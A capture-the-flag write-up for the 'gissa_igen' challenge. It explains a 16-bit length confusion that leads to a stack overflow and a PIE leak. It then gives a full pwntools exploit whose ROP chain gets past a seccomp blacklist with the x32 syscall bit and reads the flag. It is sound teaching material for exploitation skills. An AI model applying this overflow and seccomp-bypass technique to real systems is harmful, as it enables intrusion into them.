Points: 631 Solves: 15 Last year some dirty hackers found a way around my guessing challenge, well I patched the issue. Can you guess again?
Attachment: gissa_igen xpl.py
▄▄█████████ ▄█████████ ▄▄█████████ ▄▄█████████ ▄▄████████▄ ▄████████▄ ▄▄████████▄
████▀▀▀▀▀▀▀ ▀▀▀████▀▀▀ ████▀▀▀▀▀▀▀ ████▀▀▀▀▀▀▀ ████▀▀▀████ ▀▀▀▀▀▀████ ███▀▀▀▀████
████ ▄▄▄▄▄ ████ ████▄▄▄▄▄▄ ████▄▄▄▄▄▄ ████▄▄▄████ ▄▄▄▄▄███▀ ▀▀▀ ▄▄▄███▀
████ ▀▀████ ████ ▀▀▀▀▀▀▀████ ▀▀▀▀▀▀▀████ ████▀▀▀████ ████▀▀▀▀▀ ████▀▀▀
████▄▄▄████ ▄▄▄████▄▄▄ ▄▄▄▄▄▄▄████ ▄▄▄▄▄▄▄████ ████ ████ ████▄▄▄▄▄▄ ▄▄▄▄
███████████ ██████████ ██████████▀ ██████████▀ ████ ████ ██████████ ████
▀▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀ ▀▀▀▀
How good are you at guessing flags?
flag (1/3):
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000055 if (A != creat) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000142 if (A != execveat) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
So, the binary lets us guess the flag, and we have three tries to get it right.
When reversing the binary, you’ll quickly see, that it uses to seccomp
to blacklist some syscalls, which might make it harder to exploit the binary later on.
int main(int argc, const char **argv, const char **envp)
{
char buffer[140];
__int16 len_input = 139;
unsigned __int16 current_try;
current_try = 0;
init_app_and_seccomp();
write(1, "How good are you at guessing flags?\n\n", 37);
null_terminate(buffer, 139);
for ( i = 1; i <= current_try + 3; ++i )
{
write(1, "flag (", 6);
show_flag_count(i - current_try);
write(1, "/3): ", 5);
if (read_user_input(buffer, (signed int *) &len_input, ¤t_try) > 0)
break;
}
cleanup();
return 0;
}
The for loop looks pretty suspicious in the way it compares the count of tries.
Taking a closer look at len_input
and current_try
, it occurs that both are 16 bit values, but when read_user_input
is called, len_input
will be casted to an int
(32 bit
). This will become handy in a moment.
read_user_input
will read size
bytes into buffer
and then compares its content to the flag, which is mmapped
to a memory region while the app is running. Though this mmapped
region can completely be ignored, since it will be cleared and unmapped when we leave the for loop. Don’t think it’s possible to read the flag from there at all, but in the end we won’t need to do that anyways.
Only thing worth noting, is that if we don’t give any input at all current_try
will be increased, without losing a try.
Let’s check what happens to len_input
instead, when we try multiple times to guess the flag.
flag (1/3): ─────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x00007fffffffdcc8 → 0x0000000000000000
$rbx : 0x0
$rcx : 0x00007fffffffdd54 → 0x000000000000008b
$rdx : 0x00007fffffffdd56 → 0x0000000000000000
$rsp : 0x00007fffffffdcc0 → 0x0000555555554b61 → cdqe
$rbp : 0x0
$rsi : 0x00007fffffffdd54 → 0x000000000000008b <== current_try / len_input
$rdi : 0x00007fffffffdcc8 → 0x0000000000000000
$rip : 0x000055555555491e → sub rsp, 0x48
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0000555555554c47 → ret
$r11 : 0x246
$r12 : 0x0000555555554bb7 → sub rsp, 0x18
$r13 : 0x00007fffffffdd90 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555554914 add BYTE PTR [rbx+0x481c2444], cl
0x55555555491a add esp, 0x28
0x55555555491d ret
→ 0x55555555491e sub rsp, 0x48
0x555555554922 mov QWORD PTR [rsp+0x18], rdi
0x555555554927 mov QWORD PTR [rsp+0x10], rsi
0x55555555492c mov QWORD PTR [rsp+0x8], rdx
0x555555554931 lea rax, [rip+0x2016c8] # 0x555555756000
0x555555554938 mov rax, QWORD PTR [rax]
Breakpoint 1, 0x000055555555491e in ?? ()
gef➤
rdi
contains 0x8b
, which means, we can input 139 chars, exactly what we would expect from the previous source code.
If we now just send an empty string, current_tries
will be increased by one, and we get back into read_user_input
.
$rax : 0x00007fffffffdd38 → 0x0000000000000000
$rbx : 0x0
$rcx : 0x00007fffffffddc4 → 0x000000000001008b
$rdx : 0x00007fffffffddc6 → 0x0000000000000001
$rsp : 0x00007fffffffdd30 → 0x0000555555554b61 → cdqe
$rbp : 0x0
$rsi : 0x00007fffffffddc4 → 0x000000000001008b <= current_tries / len_input
$rdi : 0x00007fffffffdd38 → 0x0000000000000000
$rip : 0x000055555555491e → sub rsp, 0x48
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0000555555554c47 → ret
$r11 : 0x246
$r12 : 0x0000555555554bb7 → sub rsp, 0x18
$r13 : 0x00007fffffffde00 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555554914 add BYTE PTR [rbx+0x481c2444], cl
0x55555555491a add esp, 0x28
0x55555555491d ret
→ 0x55555555491e sub rsp, 0x48
0x555555554922 mov QWORD PTR [rsp+0x18], rdi
0x555555554927 mov QWORD PTR [rsp+0x10], rsi
0x55555555492c mov QWORD PTR [rsp+0x8], rdx
0x555555554931 lea rax, [rip+0x2016c8] # 0x555555756000
0x555555554938 mov rax, QWORD PTR [rax]
rdi
now contains 0x1008b
(16 bits current_tries
and 16 bits from len_input
), which means we can now read 65675
into buffer
(which is only 140 chars big), so we have a nice buffer overflow at hand.
With this, we can now overflow into current_tries
and len_input
itself, setting them to arbitrary values. But since the binary has pie
enabled, we need some leaks first.
read_user_input
will read either exactly len_input
characters or we have to end the input with a newline, which will get replaced with a null byte. So in order to align our buffer poperly to leak the return address, we first have to overwrite len_input
with the exact offset of the return address. Then we can send another string to fillup the buffer, so it will exactly end where the return address starts (0xa0
), and then we can easily leak it, since the binary will tell us, that our input was wrong.
#!/usr/bin/python
from pwn import *
import sys
HOST = "gissa-igen-01.play.midnightsunctf.se"
PORT = 4096
def exploit(r):
log.info("Send empty try to increase input size")
r.recvuntil("): ")
r.sendline("")
log.info("Overwrite size with 0xa0 to align it with return address after next read")
payload = "\xff"*140
payload += p16(0xa0)
payload += p16(0x0)
r.sendline(payload)
r.recvuntil("): ")
log.info("Overwrite buffer, so it gets aligned with return address")
payload = "\xff"*140
payload += p16(0xffff)
payload += p16(0xffff)
payload += "\xff"*(0xa0-len(payload))
r.send(payload)
r.recvuntil("): ")
r.recv(160)
PIELEAK = u64(r.recv(6).ljust(8, "\x00"))
e.address = PIELEAK - 0xbb7
log.info("PIELEAK : %s" % hex(PIELEAK))
log.info("BASE : %s" % hex(e.address))
r.recvuntil(": ")
r.recvuntil(": ")
r.interactive()
return
if __name__ == "__main__":
e = ELF("./gissa_igen")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./gissa_igen")
print util.proc.pidof(r)
pause()
exploit(r)
$ python xpl.py
[!] Did not find any GOT entries
[*] '/home/kileak/ctf/midnight/gissa/gissa_igen'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './gissa_igen': pid 20118
[20118]
[*] Paused (press any to continue)
[*] Send empty try to increase input size
[*] Overwrite size with 0xa0 to align it with return address after next read
[*] Overwrite buffer, so it gets aligned with return address
[*] PIELEAK : 0x555555554bb7
[*] BASE : 0x555555554000
With the base address we can now calculate the addresses of all rop gadgets needed to open and read the flag again, after it was removed by the binary.
SYSCALL = e.address + 0xbd9
POPRAXRDIRSI = e.address + 0xc21
POPRDX98RDIRSI = e.address + 0xc1d
With these gadgets we can easily write a open/read/write chain to exfiltrate the flag.
But this will fail, since seccomp
is active, which blacklisted open
, openat
, execve
and execveat
.
After searching for some other syscalls to use to read the flag instead, I remembered a nifty way to get around blacklisted syscalls.
payload = "A"*168
# open("/home/ctf/flag", 0)
payload += p64(POPRAXRDIRSI)
payload += p64(0x40000002)
payload += p64(next(e.search("/home/ctf/flag")))
payload += p64(0x0)
payload += p64(SYSCALL)
# read(0, e.bss()+100, 100)
payload += p64(POPRAXRDIRSI)
payload += p64(0)
payload += p64(3)
payload += p64(e.bss()+100)
payload += p64(POPRDX98RDIRSI)
payload += p64(100)
payload += p64(0)
payload += p64(0)
payload += p64(3)
payload += p64(e.bss()+100)
payload += p64(SYSCALL)
# write(1, e.bss()+100, 100)
payload += p64(POPRAXRDIRSI)
payload += p64(1)
payload += p64(1)
payload += p64(e.bss()+100)
payload += p64(SYSCALL)
r.sendline(payload)
r.interactive()
Using syscall 0x40000002
will also result in calling open
, but seccomp
will fail to catch it, thus rewarding us with the flag :)
$ python xpl.py 1
[!] Did not find any GOT entries
[*] '/home/kileak/ctf/midnight/gissa/gissa_igen'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to gissa-igen-01.play.midnightsunctf.se on port 4096: Done
[*] Send empty try to increase input size
[*] Overwrite size with 0xa0 to align it with return address after next read
[*] Overwrite buffer, so it gets aligned with return address
[*] PIELEAK : 0x555fdbc7abb7
[*] BASE : 0x555fdbc7a000
[*] Send ropchain to open file and read it again
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!\xac��_ is not right.
midnight{I_kN3w_1_5H0ulD_h4v3_jUst_uS3d_l1B5eCC0mP}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00timeout: the monitored command dumped core
/home/ctf/redir.sh: line 4: 11728 Segmentation fault timeout -k 120 120 ./chall
[*] Got EOF while reading in interactive